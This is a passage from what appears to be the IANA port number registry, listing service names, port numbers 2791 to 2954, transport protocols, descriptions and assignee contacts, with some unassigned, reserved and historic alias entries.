mtport-regist      2791        tcp    MT Port Registrator          [Maxim_Tseitlin]                                      [Maxim_Tseitlin]
mtport-regist      2791        udp    MT Port Registrator          [Maxim_Tseitlin]                                      [Maxim_Tseitlin]
f5-globalsite      2792        tcp    f5-globalsite                [Christian_Saether_2]                                 [Christian_Saether_2]
f5-globalsite      2792        udp    f5-globalsite                [Christian_Saether_2]                                 [Christian_Saether_2]
initlsmsad         2793        tcp    initlsmsad                   [Kelly_Green]                                         [Kelly_Green]
initlsmsad         2793        udp    initlsmsad                   [Kelly_Green]                                         [Kelly_Green]
                   2794               Unassigned                                                                                                                                                2006-12-04
livestats          2795        tcp    LiveStats                    [Chris_Greene]                                        [Chris_Greene]
livestats          2795        udp    LiveStats                    [Chris_Greene]                                        [Chris_Greene]
ac-tech            2796        tcp    ac-tech                      [Chiming_Huang]                                       [Chiming_Huang]
ac-tech            2796        udp    ac-tech                      [Chiming_Huang]                                       [Chiming_Huang]
esp-encap          2797        tcp    esp-encap                    [Jorn_Sierwald]                                       [Jorn_Sierwald]
esp-encap          2797        udp    esp-encap                    [Jorn_Sierwald]                                       [Jorn_Sierwald]
tmesis-upshot      2798        tcp    TMESIS-UPShot                [Brian_Schenkenberger]                                [Brian_Schenkenberger]
tmesis-upshot      2798        udp    TMESIS-UPShot                [Brian_Schenkenberger]                                [Brian_Schenkenberger]
icon-discover      2799        tcp    ICON Discover                [Alexander_Falk]                                      [Alexander_Falk]
icon-discover      2799        udp    ICON Discover                [Alexander_Falk]                                      [Alexander_Falk]
acc-raid           2800        tcp    ACC RAID                     [Scott_St_Clair]                                      [Scott_St_Clair]
acc-raid           2800        udp    ACC RAID                     [Scott_St_Clair]                                      [Scott_St_Clair]
igcp               2801        tcp    IGCP                         [David_Hampson]                                       [David_Hampson]
igcp               2801        udp    IGCP                         [David_Hampson]                                       [David_Hampson]
veritas-tcp1       2802        tcp    Veritas TCP1
veritas-udp1       2802        udp    Veritas UDP1                 [Russ_Thrasher]                                       [Russ_Thrasher]
btprjctrl          2803        tcp    btprjctrl                    [Huw_Thomas]                                          [Huw_Thomas]
btprjctrl          2803        udp    btprjctrl                    [Huw_Thomas]                                          [Huw_Thomas]
                                      March Networks Digital Video
dvr-esm            2804        tcp    Recorders and Enterprise     [Paul_Streatch]                                       [Paul_Streatch]                                           2004-06
                                      Service Manager products
                                      March Networks Digital Video
dvr-esm            2804        udp    Recorders and Enterprise     [Paul_Streatch]                                       [Paul_Streatch]                                           2004-06
                                      Service Manager products
wta-wsp-s          2805        tcp    WTA WSP-S                    [Sebastien_Bury]                                      [Sebastien_Bury]
wta-wsp-s          2805        udp    WTA WSP-S                    [Sebastien_Bury]                                      [Sebastien_Bury]
cspuni             2806        tcp    cspuni
cspuni             2806        udp    cspuni
cspmulti           2807        tcp    cspmulti                     [Terumasa_Yoneda]                                     [Terumasa_Yoneda]
cspmulti           2807        udp    cspmulti                     [Terumasa_Yoneda]                                     [Terumasa_Yoneda]
j-lan-p            2808        tcp    J-LAN-P                      [Takeshi_Sahara]                                      [Takeshi_Sahara]
j-lan-p            2808        udp    J-LAN-P                      [Takeshi_Sahara]                                      [Takeshi_Sahara]
corbaloc           2809        tcp    CORBA LOC                    [Ted_McFadden]                                        [Ted_McFadden]
corbaloc           2809        udp    CORBA LOC                    [Ted_McFadden]                                        [Ted_McFadden]
netsteward         2810        tcp    Active Net Steward           [Keith_Morley]                                        [Keith_Morley]
netsteward         2810        udp    Active Net Steward           [Keith_Morley]                                        [Keith_Morley]
gsiftp             2811        tcp    GSI FTP                      [Von_Welch]                                           [Von_Welch]
gsiftp             2811        udp    GSI FTP                      [Von_Welch]                                           [Von_Welch]
atmtcp             2812        tcp    atmtcp                       [Werner_Almesberger]                                  [Werner_Almesberger]
atmtcp             2812        udp    atmtcp                       [Werner_Almesberger]                                  [Werner_Almesberger]
llm-pass           2813        tcp    llm-pass
llm-pass           2813        udp    llm-pass
llm-csv            2814        tcp    llm-csv                      [Glen_Sansoucie_2]                                    [Glen_Sansoucie_2]
llm-csv            2814        udp    llm-csv                      [Glen_Sansoucie_2]                                    [Glen_Sansoucie_2]
lbc-measure        2815        tcp    LBC Measurement
lbc-measure        2815        udp    LBC Measurement
lbc-watchdog       2816        tcp    LBC Watchdog                 [Akiyoshi_Ochi]                                       [Akiyoshi_Ochi]
lbc-watchdog       2816        udp    LBC Watchdog                 [Akiyoshi_Ochi]                                       [Akiyoshi_Ochi]
nmsigport          2817        tcp    NMSig Port                   [Peter_Egli_2]                                        [Peter_Egli_2]
nmsigport          2817        udp    NMSig Port                   [Peter_Egli_2]                                        [Peter_Egli_2]
rmlnk              2818        tcp    rmlnk
rmlnk              2818        udp    rmlnk
fc-faultnotify     2819        tcp    FC Fault Notification        [Dave_Watkins]                                        [Dave_Watkins]
fc-faultnotify     2819        udp    FC Fault Notification        [Dave_Watkins]                                        [Dave_Watkins]
univision          2820        tcp    UniVision                    [Keith_Ansell]                                        [Keith_Ansell]
univision          2820        udp    UniVision                    [Keith_Ansell]                                        [Keith_Ansell]
vrts-at-port       2821        tcp    VERITAS Authentication       [Stefan_Winkel]                                       [Stefan_Winkel]
                                      Service
vrts-at-port       2821        udp    VERITAS Authentication       [Stefan_Winkel]                                       [Stefan_Winkel]
                                      Service
ka0wuc             2822        tcp    ka0wuc                       [Kit_Haskins]                                         [Kit_Haskins]
ka0wuc             2822        udp    ka0wuc                       [Kit_Haskins]                                         [Kit_Haskins]
cqg-netlan         2823        tcp    CQG Net/LAN
cqg-netlan         2823        udp    CQG Net/LAN
cqg-netlan-1       2824        tcp    CQG Net/LAN 1                [Jeff_Wood]                                           [Jeff_Wood]
cqg-netlan-1       2824        udp    CQG Net/Lan 1                [Jeff_Wood]                                           [Jeff_Wood]
                   2825               (unassigned) Possibly
                                      assigned
slc-systemlog      2826        tcp    slc systemlog
slc-systemlog      2826        udp    slc systemlog
slc-ctrlrloops     2827        tcp    slc ctrlrloops               [Erwin_Hogeweg]                                       [Erwin_Hogeweg]
slc-ctrlrloops     2827        udp    slc ctrlrloops               [Erwin_Hogeweg]                                       [Erwin_Hogeweg]
itm-lm             2828        tcp    ITM License Manager          [Portnoy_Boxman]                                      [Portnoy_Boxman]
itm-lm             2828        udp    ITM License Manager          [Portnoy_Boxman]                                      [Portnoy_Boxman]
silkp1             2829        tcp    silkp1
silkp1             2829        udp    silkp1
silkp2             2830        tcp    silkp2
silkp2             2830        udp    silkp2
silkp3             2831        tcp    silkp3
silkp3             2831        udp    silkp3
silkp4             2832        tcp    silkp4                       [Erik_Skyten]                                         [Erik_Skyten]
silkp4             2832        udp    silkp4                       [Erik_Skyten]                                         [Erik_Skyten]
glishd             2833        tcp    glishd                       [Darrell_Schiebel]                                    [Darrell_Schiebel]
glishd             2833        udp    glishd                       [Darrell_Schiebel]                                    [Darrell_Schiebel]
evtp               2834        tcp    EVTP
evtp               2834        udp    EVTP
evtp-data          2835        tcp    EVTP-DATA                    [Eric_Bruno]                                          [Eric_Bruno]
evtp-data          2835        udp    EVTP-DATA                    [Eric_Bruno]                                          [Eric_Bruno]
catalyst           2836        tcp    catalyst                     [Garret_Tollkuhn]                                     [Garret_Tollkuhn]
catalyst           2836        udp    catalyst                     [Garret_Tollkuhn]                                     [Garret_Tollkuhn]
repliweb           2837        tcp    Repliweb                     [William_Orme]                                        [William_Orme]
repliweb           2837        udp    Repliweb                     [William_Orme]                                        [William_Orme]
starbot            2838        tcp    Starbot                      [Markus_Sabadello_2]                                  [Markus_Sabadello_2]
starbot            2838        udp    Starbot                      [Markus_Sabadello_2]                                  [Markus_Sabadello_2]
nmsigport          2839        tcp    NMSigPort                    [Peter_Egli_2]                                        [Peter_Egli_2]
nmsigport          2839        udp    NMSigPort                    [Peter_Egli_2]                                        [Peter_Egli_2]
l3-exprt           2840        tcp    l3-exprt
l3-exprt           2840        udp    l3-exprt
l3-ranger          2841        tcp    l3-ranger
l3-ranger          2841        udp    l3-ranger
l3-hawk            2842        tcp    l3-hawk                      [Dolores_Scott_2]                                     [Dolores_Scott_2]
l3-hawk            2842        udp    l3-hawk                      [Dolores_Scott_2]                                     [Dolores_Scott_2]
pdnet              2843        tcp    PDnet                        [Torsten_Scheffler]                                   [Torsten_Scheffler]
pdnet              2843        udp    PDnet                        [Torsten_Scheffler]                                   [Torsten_Scheffler]
bpcp-poll          2844        tcp    BPCP POLL
bpcp-poll          2844        udp    BPCP POLL
bpcp-trap          2845        tcp    BPCP TRAP                    [Steve_Van_Duser]                                     [Steve_Van_Duser]
bpcp-trap          2845        udp    BPCP TRAP                    [Steve_Van_Duser]                                     [Steve_Van_Duser]
aimpp-hello        2846        tcp    AIMPP Hello
aimpp-hello        2846        udp    AIMPP Hello
aimpp-port-req     2847        tcp    AIMPP Port Req               [Brian_Martinicky]                                    [Brian_Martinicky]
aimpp-port-req     2847        udp    AIMPP Port Req               [Brian_Martinicky]                                    [Brian_Martinicky]
amt-blc-port       2848        tcp    AMT-BLC-PORT                 [Sandra_Frulloni]                                     [Sandra_Frulloni]
amt-blc-port       2848        udp    AMT-BLC-PORT                 [Sandra_Frulloni]                                     [Sandra_Frulloni]
fxp                2849        tcp    FXP                          [Martin_Lichtin]                                      [Martin_Lichtin]
fxp                2849        udp    FXP                          [Martin_Lichtin]                                      [Martin_Lichtin]
metaconsole        2850        tcp    MetaConsole                  [Rakesh_Mahajan]                                      [Rakesh_Mahajan]
metaconsole        2850        udp    MetaConsole                  [Rakesh_Mahajan]                                      [Rakesh_Mahajan]
webemshttp         2851        tcp    webemshttp                   [Stephen_Tsun]                                        [Stephen_Tsun]
webemshttp         2851        udp    webemshttp                   [Stephen_Tsun]                                        [Stephen_Tsun]
bears-01           2852        tcp    bears-01                     [Bruce_McKinnon]                                      [Bruce_McKinnon]
bears-01           2852        udp    bears-01                     [Bruce_McKinnon]                                      [Bruce_McKinnon]
ispipes            2853        tcp    ISPipes                      [Rajesh_Nandyalam]                                    [Rajesh_Nandyalam]
ispipes            2853        udp    ISPipes                      [Rajesh_Nandyalam]                                    [Rajesh_Nandyalam]
infomover          2854        tcp    InfoMover                    [Carla_Caputo]                                        [Carla_Caputo]
infomover          2854        udp    InfoMover                    [Carla_Caputo]                                        [Carla_Caputo]
msrp               2855        tcp    MSRP over TCP                                                                                                                                             2014-04-09   [RFC4976]
                   2855        udp    Reserved                                                                                                                                                  2014-04-09
cesdinv            2856        tcp    cesdinv                      [Yoshiaki_Tokumoto]                                   [Yoshiaki_Tokumoto]
cesdinv            2856        udp    cesdinv                      [Yoshiaki_Tokumoto]                                   [Yoshiaki_Tokumoto]
simctlp            2857        tcp    SimCtIP                      [Christian_Zietz]                                     [Christian_Zietz]
simctlp            2857        udp    SimCtIP                      [Christian_Zietz]                                     [Christian_Zietz]
ecnp               2858        tcp    ECNP                         [Robert_Reimiller]                                    [Robert_Reimiller]
ecnp               2858        udp    ECNP                         [Robert_Reimiller]                                    [Robert_Reimiller]
activememory       2859        tcp    Active Memory                [Joe_Graham]                                          [Joe_Graham]
activememory       2859        udp    Active Memory                [Joe_Graham]                                          [Joe_Graham]
dialpad-voice1     2860        tcp    Dialpad Voice 1
dialpad-voice1     2860        udp    Dialpad Voice 1
dialpad-voice2     2861        tcp    Dialpad Voice 2              [Wongyu_Cho]                                          [Wongyu_Cho]
dialpad-voice2     2861        udp    Dialpad Voice 2              [Wongyu_Cho]                                          [Wongyu_Cho]
ttg-protocol       2862        tcp    TTG Protocol                 [Mark_Boler]                                          [Mark_Boler]
ttg-protocol       2862        udp    TTG Protocol                 [Mark_Boler]                                          [Mark_Boler]
sonardata          2863        tcp    Sonar Data                   [Ian_Higginbottom]                                    [Ian_Higginbottom]
sonardata          2863        udp    Sonar Data                   [Ian_Higginbottom]                                    [Ian_Higginbottom]
astromed-main      2864        tcp    main 5001 cmd                [Chris_Tate]                                          [Chris_Tate]
astromed-main      2864        udp    main 5001 cmd                [Chris_Tate]                                          [Chris_Tate]
pit-vpn            2865        tcp    pit-vpn                      [Norbert_Sendetzky]                                   [Norbert_Sendetzky]
pit-vpn            2865        udp    pit-vpn                      [Norbert_Sendetzky]                                   [Norbert_Sendetzky]
iwlistener         2866        tcp    iwlistener                   [Fred_Surr]                                           [Fred_Surr]
iwlistener         2866        udp    iwlistener                   [Fred_Surr]                                           [Fred_Surr]
esps-portal        2867        tcp    esps-portal                  [Nicholas_Stowfis]                                    [Nicholas_Stowfis]
esps-portal        2867        udp    esps-portal                  [Nicholas_Stowfis]                                    [Nicholas_Stowfis]
npep-messaging     2868        tcp    Norman Proprietaqry Events   [AVG_Technologies_Norway_AS]                          [Kristian_A_Bognaes_2]                                                 2015-05-20
                                      Protocol
npep-messaging     2868        udp    Norman Proprietaqry Events   [AVG_Technologies_Norway_AS]                          [Kristian_A_Bognaes_2]                                                 2015-05-20
                                      Protocol
icslap             2869        tcp    ICSLAP                       [Richard_Lamb]                                        [Richard_Lamb]
icslap             2869        udp    ICSLAP                       [Richard_Lamb]                                        [Richard_Lamb]
daishi             2870        tcp    daishi                       [Patrick_Chipman]                                     [Patrick_Chipman]
daishi             2870        udp    daishi                       [Patrick_Chipman]                                     [Patrick_Chipman]
msi-selectplay     2871        tcp    MSI Select Play              [Paul_Fonte]                                          [Paul_Fonte]
msi-selectplay     2871        udp    MSI Select Play              [Paul_Fonte]                                          [Paul_Fonte]
radix              2872        tcp    RADIX                        [Stein_Roger_Skaflott]                                [Stein_Roger_Skaflott]                                                 2011-07-06
radix              2872        udp    RADIX                        [Stein_Roger_Skaflott]                                [Stein_Roger_Skaflott]                                                 2011-07-06
                   2873               Unassigned                                                                                                                                                2003-07-23
dxmessagebase1     2874        tcp    DX Message Base Transport
                                      Protocol
dxmessagebase1     2874        udp    DX Message Base Transport
                                      Protocol
dxmessagebase2     2875        tcp    DX Message Base Transport    [G_E_Ozz_Nixon_Jr]                                    [G_E_Ozz_Nixon_Jr]                                        2009-01-13
                                      Protocol
dxmessagebase2     2875        udp    DX Message Base Transport    [G_E_Ozz_Nixon_Jr]                                    [G_E_Ozz_Nixon_Jr]                                        2009-01-13
                                      Protocol
sps-tunnel         2876        tcp    SPS Tunnel                   [Bill_McIntosh]                                       [Bill_McIntosh]
sps-tunnel         2876        udp    SPS Tunnel                   [Bill_McIntosh]                                       [Bill_McIntosh]
bluelance          2877        tcp    BLUELANCE                    [Michael_Padrezas]                                    [Michael_Padrezas]
bluelance          2877        udp    BLUELANCE                    [Michael_Padrezas]                                    [Michael_Padrezas]
aap                2878        tcp    AAP                          [Stephen_Hanna_2]                                     [Stephen_Hanna_2]
aap                2878        udp    AAP                          [Stephen_Hanna_2]                                     [Stephen_Hanna_2]
ucentric-ds        2879        tcp    ucentric-ds                  [Alex_Vasilevsky]                                     [Alex_Vasilevsky]
ucentric-ds        2879        udp    ucentric-ds                  [Alex_Vasilevsky]                                     [Alex_Vasilevsky]
synapse            2880        tcp    Synapse Transport            [Ali_Fracyon]                                         [Ali_Fracyon]
synapse            2880        udp    Synapse Transport            [Ali_Fracyon]                                         [Ali_Fracyon]
ndsp               2881        tcp    NDSP
ndsp               2881        udp    NDSP
ndtp               2882        tcp    NDTP
ndtp               2882        udp    NDTP
ndnp               2883        tcp    NDNP                         [Khelben_Blackstaff]                                  [Khelben_Blackstaff]
ndnp               2883        udp    NDNP                         [Khelben_Blackstaff]                                  [Khelben_Blackstaff]
flashmsg           2884        tcp    Flash Msg                    [Jeffrey_Zinkerman]                                   [Jeffrey_Zinkerman]
flashmsg           2884        udp    Flash Msg                    [Jeffrey_Zinkerman]                                   [Jeffrey_Zinkerman]
topflow            2885        tcp    TopFlow                      [Ted_Ross]                                            [Ted_Ross]
topflow            2885        udp    TopFlow                      [Ted_Ross]                                            [Ted_Ross]
responselogic      2886        tcp    RESPONSELOGIC                [Bruce_Casey]                                         [Bruce_Casey]
responselogic      2886        udp    RESPONSELOGIC                [Bruce_Casey]                                         [Bruce_Casey]
aironetddp         2887        tcp    aironet                      [Victor_Griswold]                                     [Victor_Griswold]
aironetddp         2887        udp    aironet                      [Victor_Griswold]                                     [Victor_Griswold]
spcsdlobby         2888        tcp    SPCSDLOBBY                   [Matthew_Williams]                                    [Matthew_Williams]
spcsdlobby         2888        udp    SPCSDLOBBY                   [Matthew_Williams]                                    [Matthew_Williams]
rsom               2889        tcp    RSOM                         [Justine_Higgins]                                     [Justine_Higgins]
rsom               2889        udp    RSOM                         [Justine_Higgins]                                     [Justine_Higgins]
cspclmulti         2890        tcp    CSPCLMULTI                   [Yoneda_Terumasa]                                     [Yoneda_Terumasa]
cspclmulti         2890        udp    CSPCLMULTI                   [Yoneda_Terumasa]                                     [Yoneda_Terumasa]
cinegrfx-elmd      2891        tcp    CINEGRFX-ELMD License        [Greg_Ercolano_2]                                     [Greg_Ercolano_2]
                                      Manager
cinegrfx-elmd      2891        udp    CINEGRFX-ELMD License        [Greg_Ercolano_2]                                     [Greg_Ercolano_2]
                                      Manager
snifferdata        2892        tcp    SNIFFERDATA                  [Jeff_Mangasarian]                                    [Jeff_Mangasarian]
snifferdata        2892        udp    SNIFFERDATA                  [Jeff_Mangasarian]                                    [Jeff_Mangasarian]
vseconnector       2893        tcp    VSECONNECTOR                 [Ingo_Franzki]                                        [Ingo_Franzki]
vseconnector       2893        udp    VSECONNECTOR                 [Ingo_Franzki]                                        [Ingo_Franzki]
abacus-remote      2894        tcp    ABACUS-REMOTE                [Mike_Bello]                                          [Mike_Bello]
abacus-remote      2894        udp    ABACUS-REMOTE                [Mike_Bello]                                          [Mike_Bello]
natuslink          2895        tcp    NATUS LINK                   [Jonathan_Mergy]                                      [Jonathan_Mergy]
natuslink          2895        udp    NATUS LINK                   [Jonathan_Mergy]                                      [Jonathan_Mergy]
ecovisiong6-1      2896        tcp    ECOVISIONG6-1                [Henrik_Holst]                                        [Henrik_Holst]
ecovisiong6-1      2896        udp    ECOVISIONG6-1                [Henrik_Holst]                                        [Henrik_Holst]
citrix-rtmp        2897        tcp    Citrix RTMP                  [Myk_Willis]                                          [Myk_Willis]
citrix-rtmp        2897        udp    Citrix RTMP                  [Myk_Willis]                                          [Myk_Willis]
appliance-cfg      2898        tcp    APPLIANCE-CFG                [Gary_A_James]                                        [Gary_A_James]
appliance-cfg      2898        udp    APPLIANCE-CFG                [Gary_A_James]                                        [Gary_A_James]
powergemplus       2899        tcp    POWERGEMPLUS                 [Koich_Nakamura]                                      [Koich_Nakamura]
powergemplus       2899        udp    POWERGEMPLUS                 [Koich_Nakamura]                                      [Koich_Nakamura]
quicksuite         2900        tcp    QUICKSUITE                   [William_Egge]                                        [William_Egge]
quicksuite         2900        udp    QUICKSUITE                   [William_Egge]                                        [William_Egge]
allstorcns         2901        tcp    ALLSTORCNS                   [Steve_Dobson]                                        [Steve_Dobson]
allstorcns         2901        udp    ALLSTORCNS                   [Steve_Dobson]                                        [Steve_Dobson]
netaspi            2902        tcp    NET ASPI                     [Johnson_Luo]                                         [Johnson_Luo]
netaspi            2902        udp    NET ASPI                     [Johnson_Luo]                                         [Johnson_Luo]
suitcase           2903        tcp    SUITCASE                     [Milton_E_Sagen]                                      [Milton_E_Sagen]
suitcase           2903        udp    SUITCASE                     [Milton_E_Sagen]                                      [Milton_E_Sagen]
m2ua               2904        tcp    M2UA                         [Lyndon_Ong]                                          [Lyndon_Ong]
m2ua               2904        udp    M2UA                         [Lyndon_Ong]                                          [Lyndon_Ong]
m2ua               2904       sctp    M2UA                         [Lyndon_Ong]                                          [Lyndon_Ong]
m3ua               2905        tcp    M3UA                         [Lyndon_Ong]                                          [Lyndon_Ong]                                                                        [RFC4666]
                   2905        udp    De-registered                                                                                                                                2001-06-07
m3ua               2905       sctp    M3UA                         [Lyndon_Ong]                                          [Lyndon_Ong]                                                                        [RFC4666]
caller9            2906        tcp    CALLER9                      [Shams_Naqi]                                          [Shams_Naqi]
caller9            2906        udp    CALLER9                      [Shams_Naqi]                                          [Shams_Naqi]
webmethods-b2b     2907        tcp    WEBMETHODS B2B               [Joseph_Hines]                                        [Joseph_Hines]
webmethods-b2b     2907        udp    WEBMETHODS B2B               [Joseph_Hines]                                        [Joseph_Hines]
mao                2908        tcp    mao                          [Marc_Baudoin]                                        [Marc_Baudoin]
mao                2908        udp    mao                          [Marc_Baudoin]                                        [Marc_Baudoin]
funk-dialout       2909        tcp    Funk Dialout                 [Cimarron_Boozer]                                     [Cimarron_Boozer]
funk-dialout       2909        udp    Funk Dialout                 [Cimarron_Boozer]                                     [Cimarron_Boozer]
tdaccess           2910        tcp    TDAccess                     [Tom_Haapanen]                                        [Tom_Haapanen]
tdaccess           2910        udp    TDAccess                     [Tom_Haapanen]                                        [Tom_Haapanen]
blockade           2911        tcp    Blockade                     [Blockade]                                            [Blockade]
blockade           2911        udp    Blockade                     [Blockade]                                            [Blockade]
epicon             2912        tcp    Epicon                       [Michael_Khalandovsky]                                [Michael_Khalandovsky]
epicon             2912        udp    Epicon                       [Michael_Khalandovsky]                                [Michael_Khalandovsky]
boosterware        2913        tcp    Booster Ware                 [Ido_Ben_David]                                       [Ido_Ben_David]
boosterware        2913        udp    Booster Ware                 [Ido_Ben_David]                                       [Ido_Ben_David]
gamelobby          2914        tcp    Game Lobby                   [Paul_Ford_Hutchinson]                                [Paul_Ford_Hutchinson]
gamelobby          2914        udp    Game Lobby                   [Paul_Ford_Hutchinson]                                [Paul_Ford_Hutchinson]
tksocket           2915        tcp    TK Socket                    [Dino_Ciano]                                          [Dino_Ciano]                                              2011-03-02
tksocket           2915        udp    TK Socket                    [Dino_Ciano]                                          [Dino_Ciano]                                              2011-03-02
                                      Elvin Server

elvin-server       2916        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "elvin_server".
                                                                                                                                                                                                                                                                                  This entry is an alias to "elvin-server". This entry is now
elvin_server       2916        tcp    Elvin Server                                                                                                                                                                                                                                historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Elvin Server

elvin-server       2916        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "elvin_server".
                                                                                                                                                                                                                                                                                  This entry is an alias to "elvin-server". This entry is now
elvin_server       2916        udp    Elvin Server                                                                                                                                                                                                                                historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Elvin Client

elvin-client       2917        tcp    IANA assigned this           [David_Arnold]                                        [David_Arnold]
                                      well-formed service name as
                                      a replacement for
                                      "elvin_client".
                                                                                                                                                                                                                                                                                  This entry is an alias to "elvin-client". This entry is now
elvin_client       2917        tcp    Elvin Client                 [David_Arnold]                                        [David_Arnold]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Elvin Client

elvin-client       2917        udp    IANA assigned this           [David_Arnold]                                        [David_Arnold]
                                      well-formed service name as
                                      a replacement for
                                      "elvin_client".
                                                                                                                                                                                                                                                                                  This entry is an alias to "elvin-client". This entry is now
elvin_client       2917        udp    Elvin Client                 [David_Arnold]                                        [David_Arnold]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
kastenchasepad     2918        tcp    Kasten Chase Pad             [Marc_Gauthier]                                       [Marc_Gauthier]
kastenchasepad     2918        udp    Kasten Chase Pad             [Marc_Gauthier]                                       [Marc_Gauthier]
roboer             2919        tcp    roboER                       [Paul_Snook]                                          [Paul_Snook]
roboer             2919        udp    roboER                       [Paul_Snook]                                          [Paul_Snook]
roboeda            2920        tcp    roboEDA                      [Paul_Snook]                                          [Paul_Snook]
roboeda            2920        udp    roboEDA                      [Paul_Snook]                                          [Paul_Snook]
cesdcdman          2921        tcp    CESD Contents Delivery       [Shinya_Abe]                                          [Shinya_Abe]
                                      Management
cesdcdman          2921        udp    CESD Contents Delivery       [Shinya_Abe]                                          [Shinya_Abe]
                                      Management
cesdcdtrn          2922        tcp    CESD Contents Delivery Data  [Shinya_Abe]                                          [Shinya_Abe]
                                      Transfer
cesdcdtrn          2922        udp    CESD Contents Delivery Data  [Shinya_Abe]                                          [Shinya_Abe]
                                      Transfer
wta-wsp-wtp-s      2923        tcp    WTA-WSP-WTP-S                [Sebastien_Bury]                                      [Sebastien_Bury]
wta-wsp-wtp-s      2923        udp    WTA-WSP-WTP-S                [Sebastien_Bury]                                      [Sebastien_Bury]
precise-vip        2924        tcp    PRECISE-VIP                  [Michael_Landwehr]                                    [Michael_Landwehr]
precise-vip        2924        udp    PRECISE-VIP                  [Michael_Landwehr]                                    [Michael_Landwehr]
                   2925               Unassigned (FRP-Released
                                      12/7/00)
mobile-file-dl     2926        tcp    MOBILE-FILE-DL               [Mitsuji_Toda]                                        [Mitsuji_Toda]
mobile-file-dl     2926        udp    MOBILE-FILE-DL               [Mitsuji_Toda]                                        [Mitsuji_Toda]
unimobilectrl      2927        tcp    UNIMOBILECTRL                [Vikas]                                               [Vikas]
unimobilectrl      2927        udp    UNIMOBILECTRL                [Vikas]                                               [Vikas]
redstone-cpss      2928        tcp    REDSTONE-CPSS                [Jeff_Looman]                                         [Jeff_Looman]
redstone-cpss      2928        udp    REDSTONE-CPSS                [Jeff_Looman]                                         [Jeff_Looman]
amx-webadmin       2929        tcp    AMX-WEBADMIN                 [Mike_Morris]                                         [Mike_Morris]
amx-webadmin       2929        udp    AMX-WEBADMIN                 [Mike_Morris]                                         [Mike_Morris]
amx-weblinx        2930        tcp    AMX-WEBLINX                  [Mike_Morris]                                         [Mike_Morris]
amx-weblinx        2930        udp    AMX-WEBLINX                  [Mike_Morris]                                         [Mike_Morris]
circle-x           2931        tcp    Circle-X                     [Norm_Freedman_2]                                     [Norm_Freedman_2]
circle-x           2931        udp    Circle-X                     [Norm_Freedman_2]                                     [Norm_Freedman_2]
incp               2932        tcp    INCP                         [Keith_Paulsen]                                       [Keith_Paulsen]
incp               2932        udp    INCP                         [Keith_Paulsen]                                       [Keith_Paulsen]
4-tieropmgw        2933        tcp    4-TIER OPM GW                [Francois_Peloffy]                                    [Francois_Peloffy]
4-tieropmgw        2933        udp    4-TIER OPM GW                [Francois_Peloffy]                                    [Francois_Peloffy]
4-tieropmcli       2934        tcp    4-TIER OPM CLI               [Francois_Peloffy]                                    [Francois_Peloffy]
4-tieropmcli       2934        udp    4-TIER OPM CLI               [Francois_Peloffy]                                    [Francois_Peloffy]
qtp                2935        tcp    QTP                          [Cameron_Young]                                       [Cameron_Young]
qtp                2935        udp    QTP                          [Cameron_Young]                                       [Cameron_Young]
otpatch            2936        tcp    OTPatch                      [Brett_Goldstein]                                     [Brett_Goldstein]
otpatch            2936        udp    OTPatch                      [Brett_Goldstein]                                     [Brett_Goldstein]
pnaconsult-lm      2937        tcp    PNACONSULT-LM                [Theo_Nijssen]                                        [Theo_Nijssen]
pnaconsult-lm      2937        udp    PNACONSULT-LM                [Theo_Nijssen]                                        [Theo_Nijssen]
sm-pas-1           2938        tcp    SM-PAS-1
sm-pas-1           2938        udp    SM-PAS-1
sm-pas-2           2939        tcp    SM-PAS-2
sm-pas-2           2939        udp    SM-PAS-2
sm-pas-3           2940        tcp    SM-PAS-3
sm-pas-3           2940        udp    SM-PAS-3
sm-pas-4           2941        tcp    SM-PAS-4
sm-pas-4           2941        udp    SM-PAS-4
sm-pas-5           2942        tcp    SM-PAS-5                     [Tom_Haapanen]                                        [Tom_Haapanen]
sm-pas-5           2942        udp    SM-PAS-5                     [Tom_Haapanen]                                        [Tom_Haapanen]
ttnrepository      2943        tcp    TTNRepository                [Robert_Orr]                                          [Robert_Orr]
ttnrepository      2943        udp    TTNRepository                [Robert_Orr]                                          [Robert_Orr]
megaco-h248        2944        tcp    Megaco H-248                 [Tom_Taylor_2]                                        [Tom_Taylor_2]
megaco-h248        2944        udp    Megaco H-248                 [Tom_Taylor_2]                                        [Tom_Taylor_2]
megaco-h248        2944       sctp    Megaco-H.248 text            [Tom_Taylor_3]                                        [Tom_Taylor_3]                                            2006-09
h248-binary        2945        tcp    H248 Binary                  [Tom_Taylor_2]                                        [Tom_Taylor_2]
h248-binary        2945        udp    H248 Binary                  [Tom_Taylor_2]                                        [Tom_Taylor_2]
h248-binary        2945       sctp    Megaco/H.248 binary          [Tom_Taylor_3]                                        [Tom_Taylor_3]                                            2006-09
fjsvmpor           2946        tcp    FJSVmpor                     [Naoki_Hayashi]                                       [Naoki_Hayashi]
fjsvmpor           2946        udp    FJSVmpor                     [Naoki_Hayashi]                                       [Naoki_Hayashi]
gpsd               2947        tcp    GPS Daemon request/response  [Eric_S_Raymond]                                      [Eric_S_Raymond]                                                       2010-04-19
                                      protocol
gpsd               2947        udp    GPS Daemon request/response  [Eric_S_Raymond]                                      [Eric_S_Raymond]                                                       2010-04-19
                                      protocol
wap-push           2948        tcp    WAP PUSH
wap-push           2948        udp    WAP PUSH
wap-pushsecure     2949        tcp    WAP PUSH SECURE              [WAP_Forum]                                           [WAP_Forum]
wap-pushsecure     2949        udp    WAP PUSH SECURE              [WAP_Forum]                                           [WAP_Forum]
esip               2950        tcp    ESIP                         [David_Stephenson]                                    [David_Stephenson]
esip               2950        udp    ESIP                         [David_Stephenson]                                    [David_Stephenson]
ottp               2951        tcp    OTTP                         [Brent_Foster]                                        [Brent_Foster]
ottp               2951        udp    OTTP                         [Brent_Foster]                                        [Brent_Foster]
mpfwsas            2952        tcp    MPFWSAS                      [Toru_Murai]                                          [Toru_Murai]
mpfwsas            2952        udp    MPFWSAS                      [Toru_Murai]                                          [Toru_Murai]
ovalarmsrv         2953        tcp    OVALARMSRV
ovalarmsrv         2953        udp    OVALARMSRV
ovalarmsrv-cmd     2954        tcp    OVALARMSRV-CMD               [Eric_Pulsipher]                                      [Eric_Pulsipher]
